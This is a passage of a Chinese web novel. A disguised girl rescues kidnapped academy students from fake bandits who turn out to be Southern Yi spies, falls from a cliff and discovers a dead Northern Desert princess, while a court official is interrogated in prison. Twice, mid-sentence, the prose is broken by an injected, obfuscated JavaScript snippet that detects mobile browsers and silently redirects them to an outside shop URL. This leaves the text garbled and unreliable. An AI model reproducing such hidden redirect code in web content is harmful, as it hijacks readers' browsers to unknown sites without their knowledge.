陈家宝与栗铜早已翻身上马,却无奈扯不开缰绳,眼看瘦土匪石头已经快朝自己这边砸来,他们刚准备抱头去挡,忽然听马儿嘶鸣一声,前脚腾空一跃,一用力就将缰绳挣脱开来,奋力往前跑去。 陈家宝惜命,死死地抱着马脖子不松手,栗铜坐在后面抱着陈家宝竟也坐的稳稳当当,他趁乱回头才发现,原来是初暒将大刀戳在了马屁股上。 马儿吃痛,拼了命的在林间冲刺,陈家宝在疾驰中捏住被扯断的半截缰绳使劲儿调转,直到他们瞄准了直奔安南山的方向,方才策马离去。 眼看两个肉票逃走,自己又被人当做傻子一般诓骗,在黑夜中的蒙面土匪心中大怒,他们一把扯下遮脸面巾,围着手无寸铁的少年咬牙切齿的走了过来。 胖土匪:“你好大的胆子!竟敢独自闯来坏我好事!想当英雄,那我就送你到阎王殿里去当!” 摘了面巾就是要灭口,双拳难敌四手,初暒躲过胖土匪迎面砍来那刀,躬身敏捷地从两人之间的缝隙穿过,撒腿就跑。 瘦土匪脚力不好,他追不上初暒,只能远远落在两人身后,而胖土匪虽胖,身手却十分灵活,他提刀紧跟着初暒,在这黢黑山间好似一位拎着大刀索人性命的黑无常。 虔来山地势复杂,初暒从来没有来过,她顺着小径有路就钻,可跑着跑着竟发现前方无路可跑。 面前是一片悬崖。 身后的胖土匪见她止步,乐得哈哈大笑,“你怎么不跑了,倒是跑啊!省的老子这宝刀见血了!” 跑不了就不跑了,初暒回头盯着他,甚至还朝他走了过去。 那胖土匪见这人走投无路却仍不见惊慌失措,一时也有些摸不准她的道行,下意识往后退了几步,可转念又记起自己才是执刀之人。 他也不废话,挥着手中大刀就朝初暒劈来,而初暒右手在后腰一摸,也向他冲跑过去,两人侧身而过时胖土匪眼中闪过一瞬不可思议,然后重重径直倒地。 插在腹中的尖锐竹篼已不见原色,鲜血顺着竹篼轮廓长流不止,他仰在地上指着初暒,“你们中北少年也会如此杀招……你…你…” 你们中北? 初暒眼中起了寒光,她半跪从胖土匪腹中抽出竹篼,竹枝纠缠着血肉发出咯吱之声,那胖土匪脸上已经痛的扭曲变形,可初暒像是没看见似的将竹篼尖锐一头在他喉间摩挲,冷声质问,“竟是南夷人?” 41. 悬崖 北漠荒芜、地广人稀,因各类物产匮乏,要想在荒漠中生存下来,就必须争强好斗,用命去拼,故北漠人不论男女,性子均十分粗犷野蛮。 中北人鄙夷他们言行粗鄙,像是没有开化过的野人,总是称之为漠匪,然北漠人却觉得中北以礼仪之邦自居,耽于美色、嫉贤妒能、贪恋权势诸事也是一样都没落下,还有脸说别人是匪。 初暒前世带兵主要与北漠纠缠不休,双方交战前你骂我是匪,我嚷你是鬼之声常常不绝入耳,她从来没有听过有哪一个北漠人能规规矩矩的称呼中北为‘你们中北’。 只有南夷,地少人也少,既不想得罪北漠,又想寻求中北的庇护,无论对谁都是笑脸相迎、低声下气,即使被惯会咬文嚼字的中北人叫做蛮子,也从来都恭恭敬敬,坦然受之。 但是,南夷人的笑脸真的意味恭敬吗? 初暒看着这个倒在地上腹中不断涌出鲜血,唇角与脸色也已经渐趋苍白的男子,他毫不掩饰自己眼神中的鄙夷与嘲讽。 “说!到底有多少南夷人假扮土匪混在虔来山中!” “小小书生也能察觉我的身份……安南书院果真…卧…虎藏龙……”尖锐竹篼就抵在自己的喉间,可胖土匪并不在意,他抖着因为失血过多而逐渐发冷的身子从鼻腔中用力哼出一声,阴冷笑着,“你…你问虔来山…还不如…问…整个中北……” 胖土匪腹中伤口只要救治及时并不致命,可初暒知道再问不出什么,身后的脚步声渐渐清晰,她用腕部施巧力一压,竹篼尖部便全部没入土匪喉中,一瞬之间,这人颈脉鲜血喷出,溅了她满身满脸。 久违的血腥味扑面而来,初暒缓缓起身,看着在月光映照下不断滴落黑红血滴的纤纤双手,有些晃了晃神。 她杀人了。 用初暒的手。 柏桥村的一切忽然像跑马灯一样开始在初暒的脑海中闪现,村庄里每一间房舍和每一条小径她都清晰记得。 可是她心中也清楚。 自己再回不去了。 “咻!” 身后有重物在空中划过的声音,初暒下意识侧身躲过。 瘦土匪终于赶了过来,他见此处只有这少年,还没来得及疑惑,定睛又看到地上躺在血泊之中的同伙,惊诧与怒火在心中骤起。 自己亲手劈断的砖头就滚在脚下,初暒看着对面恶狠狠的南夷‘假土匪’也起了杀心。 方才那胖土匪第二句话或许是想扰乱中北民心,可第一句话中却清清楚楚提到了‘安南书院’这四个字,这说明初次见面时,他们并未将自己‘家里人忧心两个孩子安危,于是托我带着银子前来赎人’这句谎话放在心上,他们自始至终都是知道自己绑走的是安南书院的学生。 若是饶过这两人性命,难保他们不会下毒手报复安南书院众学子。 一个瘦弱少年在顷刻间就能取了比他强壮许多的高大汉子的性命,其身手必定不可小觑,瘦土匪在愤怒时并不似同伴那样冲动,而只用狭长的狡猾双目紧盯着那个朝自己一步步走来的少年。 他正轱辘着眼珠子思考如何能一招制敌,初暒先猛地一跃用带着风声的拳头直接挥向他的死穴,瘦土匪没想到这少年要不就不动手,要动手便直冲着自己的性命来,丝毫没有多余的动作。 前额右侧被重击后,他整个人开始头晕眼花险些站立不住,幸得山间夜风袭来将他吹了一个激灵方才清醒过来。 这少年手劲不小,招招又要取他性命,估摸自己不是他的对手,瘦土匪又勉强接了几招后,再回神竟发觉自己已经被逼至悬崖边缘。 虔来山山高路险,悬崖之下更是宛如万丈深渊。 脚后跟将几块碎石碰掉山崖,许久之后仍听不到落地回声,瘦土匪心里慌张更不敢再挥手动作。 只要用脚一蹬,这人就可以下去与他的胖同伴一同汇合,初暒盯着他像是再看一具尸体,倏地,那瘦土匪看着她身后眼中闪过了一丝惊喜,虽然只是一瞬,可敏捷如初暒仍然将其捕捉到了。 她起了疑心,用耳廓一挑却只听到一阵风声。 瘦土匪设计使初暒侧目,右脚趁机一转迅速远离崖边,绕她而过时用掌心蓄力在她肩后一推,方才小命还在别人手中捏着的瘦土匪在转念之间成了执笔勾魂的活阎王,他心中还没来及得意,却瞧见被推下山崖那人的发簪在惯力中从发间滑落,没了束缚,那头过腰乌黑长发便立刻迎风飞舞在半空之中。 月光皎洁,山风刺寒。 瘦土匪眼睁睁看着独自用砖块来赎人的少年消失在漆黑的悬崖下,过了好一会儿才回过神来—— 刚刚手刃成年男子还险些要他性命的学生居然还是个女子! 他今日不过是想和好友结伴来虔来山赚个外快而已,怎的丢了好友一条命不说还将自己吓得魂飞魄散? 瘦土匪按捺住自己的心有余悸,终于想到,虽说被绑的学生已经全部逃脱,但仍有一个来交‘赎金’的死于山间土匪之手,若是安南书院久不见掉下悬崖的这个女学生回去,定然会报官寻人,要是官府查到了此处,那虔来山之名定会再次重新引起中北人的注意。 要想个办法了。 瘦土匪将喉间插着竹篼的同伴尸首也抛下了悬崖,后退两步之后转身往山中深处跑去。 等他的身影完全消失不见,山林密处里立刻就有一道黑色的影子从树上轻巧落下,那人在悬崖边探头朝下望了望,呢喃一句,“就这么死了?” 黑衣人像是难以置信似的皱眉探看许久,还是叹惋一句‘可惜’后飞身再次隐没在丛林之中。 山间小路上石子碎块混着泥土灰屑最是吸水,于是一地血泊在‘嗤嗤’声中冒着微小的泡泡逐渐与山石化作一体。 有风吹来,尘土覆盖,暗红的血便立时消失在虔来山脉。 山间又恢复成寂静幽深的模样。 山还是那座深山。 好似从来没有人来过的深山。 驾马不知在山林里狂奔了多久,陈家宝握着缰绳总算看到了熟悉的书院,他将身后死死抱着自己的栗铜推了下去,忍着大腿疼痛也翻身下马。 安南书院大门紧闭,连平日夜里长明不灭的灯笼也不见一丝烛火光亮,此景虽然反常可陈家宝也没有闲心多想,他颤颤巍巍的爬上石阶,拍门叫喊。 “里头有人没?我是陈家宝!开门!快开门啊!” 他的喊叫与拍门声在暗夜中骤然响起,门内抱着铁锹迷迷糊糊打盹的赵芊芊登时被惊得睡意全无,她同几个一起守门的学生搬开顶在门板的石凳与门栓缓缓拉开个门缝,将陈家宝和栗铜扶回来后,重又把石凳与门栓顶上挡好。 见他们进来,赵芊芊赶忙喊人去请吴夫子来,她则将自己披盖的薄被搭在浑身发抖的两人身上。 栗铜被吓狠了,腿软的站都站不住,此时见映入自己眼帘的都是至亲同窗,立刻放松下来嚎啕大哭,赵芊芊想问他话都插不进去嘴,只好转而看向瞧着面如土色,但起码还算冷静地陈家宝,焦急问,“怎么就你俩回来了,眠眠和成非呢?” “眠眠嘱咐我俩上马后就独自同那两个土匪搏斗,马儿被她刺伤,疯了似的直往前跑,我叫停不了,只得一路狂奔回来,成非……什么成非?成非和眠眠一起去找我们了吗,我没看见啊……” 陈家宝呆呆复述见闻,好一会儿才平复下来,“我对不起他们,对不起你们,是我今日任性非要去山里骑马这才闯了如此祸事,眼下咱们该怎么办啊!要是眠眠和成非真的凶多吉少,那该如何是好……” “闭嘴!”赵芊芊打断他,喝道,“不许咒他们!都能好好回来的,都能!” 陈家宝被一个小姑娘呵斥也不敢开口去驳,只能抿着嘴和栗铜可怜兮兮的窝在薄被里捧着其他同窗递来的热茶暖身子。 “吴夫子来了!” 平日里听到这声,安南书院众学子没有一个心里不慌张无措、不怕被他逮住受罚的,可此时无所适从的众人听到这一句才像是忽然有了主心骨似的,纷纷一拥而上将吴所仕团团围住,道,“吴夫子,陈家宝和栗铜已经平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888090|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安回来,但是将他们救出的初眠眠和成非却没有音信了,既然陈家宝和栗铜已从土匪手中逃脱,那咱们能不能去报官求官府帮忙前去山中帮着寻人呢?” 有人问,“可你怎么知道初眠眠和成非没有落在土匪手中,万一他们也……岂不还是会打草惊蛇。” 此言一出,大家都不出声了,因为谁都不知道没有音信的两人这会儿是在山中迷路还是已经被土匪逮住。 吴所仕看了一圈双眉均是紧蹙的学生们而后走向陈家宝,问,“你可看清当时是谁救了你?” 陈家宝答,“只见到了初眠眠,是她用装着砖头的包袱将一名土匪引开,路过照明篝火时又将腿上布包覆上去熄了火源,摸黑抢夺土匪跨刀将我俩护送到马背上的,我本想喊她一同上马,哪知道她竟直接用刀戳马先让我们逃脱险境了。” 吴所仕捋着胡须暗想:初眠眠不是眼高手低的学生,明知此行危险,还敢独自进山从土匪手中抢人,说明她认为自己有能力做到此事,而随她同去的成非或许就是学生们告诉自己的那样,只有他认识路,所以由他带着初眠眠前去山里寻人。 陈家宝二人只在虔来山看到了初眠眠,那是不是说,她并没有让成非跟自己一起去冒险? 成非也并没有落入土匪手中。 “你二人是从虔来山策马而归,而初眠眠和成非只靠双脚,走得慢了也是说不定的。”吴所仕思索了片刻,仰头又道,“天马上就要亮了,天亮后要是还等不到他们回来,我们就报官。” 夫子说的有理,于是大家都点点头强忍着焦灼靠在门楼静等,人群中唯有苟旦一人徘徊在院中双拳紧握、坐立难安。 现在他们能做的就只有等待,等待着天亮、等待着初眠眠和成非在天亮之前回来。 同窗下落已有抉择,那夫子安危该如何探得? 赵芊芊见大家都不说话了,兀自走到吴所仕身旁,轻声问,“吴夫子,您可知邱夫子所犯何事?现在何处?” 即使赵芊芊用力控制着自己颤抖的声线,可活到这把年纪的吴所仕还是从她眼中瞧见了超出师生之情的担忧。 “老夫并不知晓,也劝你不要为此事去找你的父亲。” 吴所仕说完就偏过头,不再看她。 赵芊芊闷闷应了一声是,失落的抱着双臂依靠在门楼墙壁前席地而坐。 安南书院内外皆是漆黑一片,它隐匿在漫山茂盛的树林之中,好似安南山中从来不存在这样一座书院。 不像没有光亮的安南山,晁都军狱院一间普通牢房内,数十烛火忽闪,目光所及处皆一片通明。 审讯官翻看着满桌的调查函件,客气发问,“柳大人,您是户部官员,可经由工部绘制的虔来山脉地形图如何能落在您的手里?工部或是朝廷中究竟是谁再在与您暗中收集投递中北地形?” 被绑在老虎凳上的柳思无看着他,平静说,“有人用飞镖将此物戳在我家中书房门上,我不知是谁所为,更不知那图上画的是虔来山地形。” “既不知是谁所为,为何不将此物上缴,反而带着地形图书卷独自从安南山穿到虔来山中!是否有意将此地形图献给敌国,出卖我中北朝廷!” “家中莫名被人投掷来路不明的东西,大人难道不会先将其调查清楚再如实上缴?”柳思无冷嘲,“我每年都会乘车去安南山中拜望恩师,怎的今年擦着虔来山去安南山被那山中土匪抢了,就变成故意将图献给敌国?听您这意思,是说虔来山已经划给敌国了?此事什么时候发生的?我为何不知晓?” 被嫌犯嘲讽,审讯官也不动怒,他揪住柳思无话中字眼又问,“早听闻是因为柳大人在山中被土匪抢掠才上奏要请朝廷出兵剿匪,这可是说,您拜访恩师途中遇上土匪,却没想到身上钱财连同那副地形图均被土匪抢走了?” “是。” 听到想要的回答,审讯官嘴角终于扬起一抹难以觉察的笑意,“那么,您被山中土匪抢夺走的虔来山地形图为何会出现在您那尤擅地质,曾是矿师的同窗书房?” 42. 衣裳 隔壁牢房有烙铁覆上犯人皮肤发出的滋滋啦啦的声音,让人听得胆战心寒的同时鼻腔中好似也闻到了一股将皮肉煎烤直至发焦的难闻气味。 这味道四散在空中让人嗅之皆嫌恶皱眉,有路过狱卒听牢内仍静如寂夜,都纳闷受了这等铁烙之刑竟还能忍住疼痛不叫喊出声的究竟是何方好汉。 沾了盐水的藤鞭奋力不停地抽在犯人身上的呼啸声近在耳边,可隔壁依旧不见有人惨叫嚎啕,柳思无顾不得惊讶赞叹如此意志坚定之人,只用自己的赤红双目抓着审讯官怒吼,“你们想对他做什么!” “不是我们想对邱先生做什么,而是您想让邱先生做什么。”柳思无被激怒了,审讯官将桌案上的文书摆放整齐,轻笑,“柳大人,您可知拿虔来山底下有什么?哦,您自是晓得的,不然也不会携带虔来山地形图去看望恩师顺便拜访邱先生了。” 柳思无狠狠咬着后槽牙。 他那日携带着地形图去找邱阳,确实想托他辨认图中地形,但是此物来路蹊跷自己也并不想将他牵扯进来,犹豫再三还是没有将地形图从邱阳面前取出,回来时他们一行人又遭遇土匪抢劫,随行的所有财物都被抢走了…… 等等…… 柳思无想起自己为躲避土匪跳进山坳中左臂脱臼、昏迷不醒时,有一纤瘦少年曾帮他接过骨,而那地形图就是放在左臂袖袋中的。 少年摸走了虔来山地形图,可是地形图为何又莫名出现在了邱阳书房里? 他与邱阳有什么关系? 他为何要这么做? 见柳思无垂眸思索,久久不再出声,审讯官猜他必定是在为自己所行编造借口,于是厉声喝道,“柳思无,你身为中北官员收取朝廷匿名机密文书不及时上报已是重罪,现今竟还不慎将文书遗失,你可知若是这份工部绘制的虔来山矿物勘察地形图落入奸细手中,会给中北百姓带来多大的麻烦么!” 虔来山下有矿物? 柳思无紧蹙双眉,缓缓摇头,“地形图确实从我手中丢失不假,但我不知那是虔来山矿物勘察地形图,也不知此物为何会出现在邱阳的书房,但我敢以自己的性命担保,此事与邱阳无关!” 这下轮到审讯官冷嘲,“你的性命能值几个钱,方才我与你客气不过是看在梁相的面子上,柳大人您还真把自己当盘菜了,既然从你这里问不出什么有用的消息,那本官便去撬撬邱阳先生的嘴。” “他在哪儿!你别碰他!你别碰他!” 审讯官说完转身就走,丝毫不理会这位朝廷命官的怒吼咆哮。 柳思无扭动着臂膀用力挣扎,可身下的老虎凳却始终不动如山,‘砰’的一声,牢门被重重关上,他的双手腕部被紧紧捆绑着的绳索勒出了暗红血痕又因他不停挣脱磨出了鲜红血珠。 隔壁牢房严刑拷打的声音好似已经停下,想来是因为那里面的犯人已经昏迷了。 四周又恢复成一片寂静,柳思无手腕的血珠顺着他的手掌、晕染过绳索,轻轻一滴滴掉落在地。 曙光这时从军狱院牢房窗口上斜着倾洒下来,光芒经牢内一隅放着的使人清醒的木桶水面折射到了柳思无的双目之上。 不知是因为阳光太过刺眼又或是为了拦住瞳孔里涌出的什么,柳思无低头阖住双目,任由逐渐明亮的天光肆意铺洒在自己身上。 天终于亮了。 安南书院紧闭的大门被小心翼翼的从内里拉开,苟旦从门缝中看见他们午夜骑回来的马儿臀上插着刀已经跑没了,此时它正在原地低头吃草,连忙挥手让陈家宝和自己一起驾马下山报官。 刚下了书院外石阶,苟旦就觉得不远处树林的草丛中好像有东西在蠕动,他拍拍陈家宝的肩膀示意他往前面看。 陈家宝顺着苟旦的目光望过去发现果真有一个人在那里趴着,他默默吞了吞口水时还不自觉往后退了两步,见陈家宝害怕,苟旦上前从地上捡了块石头握在手里一步一探的走了过去。 “成非?” 成非昨日一整天都没有消停过,又精神极度紧张的跑了一夜,直到天快亮才从虔来山跑了出来,只不过最后还是因为体力不支倒在了安南书院不远处的丛林之中,完全失去意识之前,他迷迷糊糊问了一句,“眠眠……回来没有?” 成非能这么问,就意味着他并没有跟眠眠一起回来。 陈家宝心里咯噔了一下,悄悄抬起眼皮看向苟旦。 苟旦眉头紧锁着,却没有多说什么,他在成非身上不曾查看到外伤,于是和陈家宝合力将他抬进书院交由同窗们照顾,两人才飞快爬上马背疾驰下了山。 赵芊芊托人从东厨带来稀水米粥,她将瓷碗捧给吴夫子后,站立在一旁下意识开始紧张地扣手。 成非面色苍白,上下嘴唇也因为极度缺水开始大片的泛起干皮。 他躺在校舍床榻上微微张嘴接食完吴夫子喂来的米粥,过了好一会儿才缓过神来。 看吴夫子和诸位同窗想知道他们发生了何事又不忍让自己开口,成非回忆了片刻,虚弱道,“我带眠眠到虔来山寻见那两个土匪后,她就嘱咐我躲好不要出声,等听到有马儿嘶鸣的声音时就什么也不要管直接往书院方向跑,我不想将她一个人抛下,可又担心给她添麻烦,因而只按照她交代的自己跑回来了。” 和自己猜测的一样,初眠眠并没有让成非跟她一起去冒险,可她也只是一个小姑娘,如何能有自信从两个土匪手中逃脱? 吴所仕问,“你们虽说还是孩子,但多一个人也能多一分生机,你为何却认为自己留下会给她添麻烦?” 成非本就因为没有将初暒平安带回来感到内疚,此时听夫子这样问心中更是懊悔不已,他紧抿着唇不说话。 有学生替他回答,“夫子您知道的,初眠眠刚到书院第一天就用木盆将栗铜一脚踢趴在地,半天都起不来,平日里您每堂课讲多久,她就在外头倒立多久,还有前段时间,她被栗铜和陈家宝骗进百果园里那座‘鬼宅’里,纵使被打的满脸淤青,也还是好端端的走出来了,像初眠眠本事这样大的姑娘,别说紧要关头,就是平日里她若使唤我端茶跑腿我也是甘愿听她话的。” 赵芊芊担忧道,“可…她这次遇上的是杀人越货的土匪啊……” 是啊,那些土匪都杀人不眨眼,她一个小姑娘本事能有多大本事。 众人都噤了声,吴所仕默了一会儿,又问,“那两个土匪可知晓你们是安南书院的学生?” 成非:“土匪拦住我们仨时说的是‘今日走运,碰上的肥羊竟还是个毛还没张全的学生蛋子呐’,他们分辨出我们是学生,而虔来与安南这两座山间就只有咱们一家书院,我觉得他们猜也能猜到了。” “吴夫子,土匪们既丢了人质,又被初眠眠他们用破砖块戏弄了一通,他们会不会报复咱们安南书院啊!” “我害怕!我想下山回家!” “我也……” “平常拉帮结伙捉弄同窗倒是英雄的很,如今一遇危难就要躲回家中,一个个竟连初眠眠一介女子都不如。”学生们七嘴八舌,吴所仕起身凝声道,“身为中北学子,怎能被一群乌合之众吓破了胆,安南书院若真被那群鼠腹鸡肠的土匪们盯上,诸位以为自己躲回家中就真的能安然无恙吗?” “那咱们还能怎么办呀?” “总不能一辈子都躲在书院里不出去吧……” “就是……” 大家正说着,陈家宝和苟旦忽然推门进来。 一见他俩,赵芊芊先跑过去问,“如何?官府有没有派兵进山去寻眠眠?” 陈家宝看着他们希冀的脸,愤恨道,“还派兵去寻?那群酒囊饭袋就差将‘不归我管’这四个大字刻在脑门上了!” 吴夫子穿过学生,蹙眉来问,“到底是怎么回事?” 苟旦垂头丧气说,“我与陈家宝到安南县衙击鼓鸣冤,鼓声还没传进县衙院内,人先被门口守卫推搡出来,我陈情安南书院学子遭土匪绑票后下落不明,恳请官差大哥进去通报,派兵助我寻人,可是那衙役一听见土匪二字,就只说‘土匪是虔来山的,虔来山是兴民城的地界,不归咱们安南县衙管’,我俩不听他的就要硬闯,却遭那衙役抽刀恐吓‘人都落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888091|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到土匪手里了还有什么好寻的,尽早回去准备收尸吧!再在此处吵嚷,若是烦扰到我家大人,当心你俩的小命也难保!’” “我家平日给上面交了那么多税,竟落得遭衙役驱赶的下场,当真可恨!”陈家宝义愤填膺,“那衙役赶人赶得如此娴熟,想来所有来此处报官告匪的百姓都是被这般对待的,美名为百姓做主的父母官不做主,也难怪虔来山的土匪都那么嚣张了!” 苟旦焦急问:“吴夫子,报官没用,那眠眠可怎么办呀!” 坏消息一个接着一个,众学子慌得六神无主,吴所仕自问他从年轻书生变成老书生这么多年也没遇到过这么棘手的事情。 既要保全安南书院所有学生,更要找回为救同窗才身陷囹圄的初眠眠。 沉思许久,吴所仕终于下定决心,“既然官府指望不上,那便由我们自己进山去寻。” 吴所仕边往外走边安排部署,“我带几个人进山,昨晚守门的先去休息,剩下还像昨夜一般守住书院各门,若外面有异常切记不可轻举妄动,一切等我回来……” “不行的,山高路险,您年纪大了,身体受不住的……” 陈家宝拦住他,“是啊吴夫子,我和苟旦去就行,您别跑了,您这身子骨别还没进山呢,腰先闪了……” “胡说八道!”吴所仕大手一挥,“老夫的身子好着……诶?” 一群人吵吵嚷嚷的走到书院门楼,吴所仕刚昂首去驳说他身子不好的学生,一抬眼就看见有人正跨坐在墙头上要上不上,要下不下的看着他们。 “眠眠?!” 苟旦顺着吴夫子的目光抬头看去,眼中先是一阵错愕而后溢出满脸喜色,“你回来啦!身上可有受伤?你坐在墙上做什么小心别摔着了!” 他滔滔不绝的说了一堆,将其他人的话头堵得严严实实。 初暒坐在墙头看着这些讶异的脸,解释说,“我瞧书院大门都紧闭着,所以才想翻墙进来,你们……这是要去哪儿?” 陈家宝拍着大腿,哎呦一声,“当然是去找你啊,你将我们都救了回来,自己却不见踪影,要是找不回你,我和栗铜还有成非心中不得愧疚死啊!” 初暒翻身轻巧从墙上跳下来,问,“成非回来了?” “回来了,累的精疲力尽的,此时正在屋里躺着呢,他好好的,你别担心。” 苟旦还想过去问她身上是否有伤,可刚一抬腿自己就被其他人迅速堵在身后,大家都围着初暒问,到底是怎么从土匪手中逃出来的。 初暒只说,自己跑的快,土匪追不上,寻了一处极为隐秘的地方躲了半宿,一等天亮就赶快跑回来了。 以一己之力救了三个人,安南书院所有学生都对初暒刮目相看。 看到自己的同窗们都平平安安回来,大家心中顿时松了一口气,他们不自觉露出的欢声笑语好似也将自己连日以来的惶恐与焦灼冲散了一大半。 初暒的目光穿过簇拥着自己的众人只望向站在一旁的吴夫子。 她看着他,眼中像是有话要说。 吴所仕朝她轻轻点头,而后背手离开围着自己平安归来的同窗欢欣雀跃的学生们。 考虑到受到土匪惊吓的四个人需要休息,赵芊芊将兴奋不已的同窗们劝走,自己则默默跟着初暒回到了女子校舍。 初暒将身上满是沾满褶皱与尘土的衣物换下,从包袱中取出一套旧衣衫,刚准备换上时,忽听身后的赵芊芊问,“为何不换上来书院第一日那套藕粉衣裙?” 在包袱里露出藕粉色一角的衣裙十分醒目,初暒用指尖轻轻拂过,回说,“这套裙装太漂亮,我不舍得穿。” 赵芊芊:“衣裳被做出来,本就是要人穿的,我瞧那布料上面阵脚绵密、纹饰精致,皆是缝制之人的心意。” 这话倒是提醒了初暒,她转过身,点头,“你说的有理。” 初暒说完仍然套上自己的旧衣衫,就在她附身捻住丢在地上那套脏衣服时,又听赵芊芊平静说—— “你昨夜同成非去虔来山赎人时,穿的并不是这套衣裳。” 43. 尸体 南夷瘦土匪用‘眼技’让初暒误以为身后有他的同伙搭救,趁她侧目不备将其一掌推下了山崖,虽然惊诧害了同伴性命的竟是一名女子,可他离开时更多还是庆幸自己此举干净利落且不必费劲处理尸体。 被推下山崖双脚腾空、身体失重那瞬,初暒以为自己难逃一死,可她没想到地势险峻的虔来山哪怕悬崖峭壁上也满是茂密树木。 在急速坠落快要被摔成肉泥之前,有一棵从垂直峭壁上横着生长出来的崖柏用自己密而扁的庞大枝条将初暒稳稳接住,少女体瘦身轻,她被挂在崖柏枝干上晃了好一会儿才滚落在地。 万幸有树木当做缓冲,初暒即使从悬崖边掉下来也并未伤着筋骨,只是虽说没有重伤,可从那么高的地方顷刻落在地上身体还是有些受不住,她躺在地上半晕半醒迷瞪了许久,直到天光透过林中枝叶洒在眉眼,方才支起快要散架的骨头坐起来。 她没死。 就是满身是血的衣裳又被峭壁凸起与崖柏枝蔓勾蹭的破烂不堪。 短暂的接受了这两个事实,初暒站起身一边活动着自己有些微错位的筋骨一边在崖底寻找出路。 初夏的清晨,草木郁郁葱葱、鸟兽悦耳低鸣,她昂首目视正前方寻摸的正起劲,忽然一抬步脚背像是踢着什么硬物,饶是她身手敏捷,也还是踉跄着跳了一下才不至于被绊倒。 初暒回身想看清脚下到底是什么东西,低头却只瞧见一丛裹缠紧密的藤草。 山体石块遭雷击滚落,时日一长被漫山疯长的植被缠绕裹挟也是常事,她以为那团藤草包裹的正是石块,刚准备离去时,余光又瞥见脚下这丛藤草的颜色似乎并不像其他草木那样有勃勃生机。 就好像是被人用蛮力抓起仔细铺盖在什么上似的,初暒觉得不对劲,于是伸手把那团藤草撕扯掀开。 和她猜想的不错,藤草之下并不是石块。 但她却没猜到,被裹缠住的是一具尸体。 许是因为山里气温低,浑身又被植物包裹的很严实,尸体的脸部与身体都保存的十分完好,初暒掰开他的衣领观其身体结构,发现这个穿着中北寻常男子干活衣裳的人原来还是位女子。 捏开她的唇嘴看了看牙齿磨损,又撑开眼皮瞧了瞧她的瞳孔眼珠,初暒推测出这女子年岁不大,应当是个刚过及笄之年的小姑娘。 她身上衣物干干净净,并不和初暒一样是从悬崖上滚落下来的,全身既没有明显外伤也不见有被刀枪剑棒砍刺敲打的痕迹。 这就奇怪了,什么都没有,那她是怎么死的。 初暒捏起她的下巴想看看此人唇色是否正常,可指尖刚触上她的面部肌肤便知晓这姑娘居然还易了容。 她前世在军营里听同袍讲过,有些手艺人会将泡在酒里剔过油脂的猪皮取出,尽量在不破损的情况下将其刮薄,让猪皮看起来更像人皮后,再在正面用鱼鳔经过蒸煮形成的胶贴上眉毛、睫毛、胡子等,就能做出一张难辨真容的人皮面具。 原先只是听说,没想到世上还真有这样的东西。 初暒抬手从女子下颚沿着脸颊额头将人皮面具轻轻揭开后,一张肤若凝脂、美丽不可方物的小脸便赤裸裸展现在她眼前。 小姑娘双眸虽是闭着的,可仍旧能让人从她脸上看出生前的明艳动人与花颜月貌。 一个美艳的妙龄少女穿着男装离奇身亡,尸首还被人藏在如此隐秘之处,要不是初暒被人推下悬崖偶然遇见,就算她烂在这里也不会有人发现。 这相貌太出众了,出众的让人起疑。 初暒抿抿唇,低声道了句得罪后,将女子翻过身并掀开衣摆在她身后腰间仔细查看。 果然不出所料,在她后背右下方有一片狼首刺青。 北漠男子生来强壮威武、力大无穷,女子则个个娇艳如花、天资绝色,她们的美与中北、南夷女子的美有显而易见的不同,因为只需看上她们一眼就能让没有见过北漠女子的人魂魄尽失、念念不忘,宛如活生生的人间尤物。 北漠一族崇尚狼文化已久,素喜将族群与狼群媲美,首领更是以狼主自居,故而他们大多族人都会以狼为图腾,纹刺青于己身,以示崇敬。 但据初暒所知,在北漠能有资格将狼首纹刺在身之人非富即贵。 她将尸体转过来平躺在地后突然回想起,自己在安南书院百果园凉亭边曾听学生们闲聊说,‘早就听说北漠要送和亲公主来晁都,可这都许久了还不见有消息……’ 北漠狼主塔鲁阿卓膝下只有一位小公主塔鲁阿茶,映月关战败后,他将自己唯一的女儿送来晁都和亲,这个消息早在中北传开,可已经过去数月百姓们还不见朝中传出喜讯。 原来是因为和亲的新娘子躺在了这里。 可是她为什么会出现在这儿? 虔来山地势险要、层峦叠嶂,好似它的存在就是为了给土匪做窝的,此地若不是从关外进晁都的近道,恐怕中北百姓没有一人愿意路过这座高山。 初暒观察尸体周围没有打斗痕迹,泥地里也没有搬运尸体时踩出来的大坑洼,那么很有可能是这个小公主自己走来,被人尾随后丧命于此。 她独自跑来虔来山,可方才查看她身上刺青时,并未在衣裳夹层里找到银两或是其他有用的东西,想来凶手已经将她随身带的物件全部摸走了。 这也就是说,她身上有能引得歹人杀人灭口的东西。 再一次自上到下的齐齐翻看着塔鲁阿茶遗体,在碰到她右手指尖时初暒忽然一顿。 她的拇指指甲盖上凹凸不平,摸着像是利器划痕,凑近了才能看出像是某种图案。 塔鲁阿茶死亡数日,身体早已僵硬,初暒未免破坏尸身,只得趴在地上盯着她的拇指指甲小心辨认。 那图案上的线条蜿蜒起伏,毫无逻辑可言,寻常人见了只会当那是小孩子家胡乱刻的,然初暒却觉得自己好似在哪里见过。 背部的刺青在右侧,指甲盖上的划痕也在右手…… 这位北漠公主原来是个左利手。 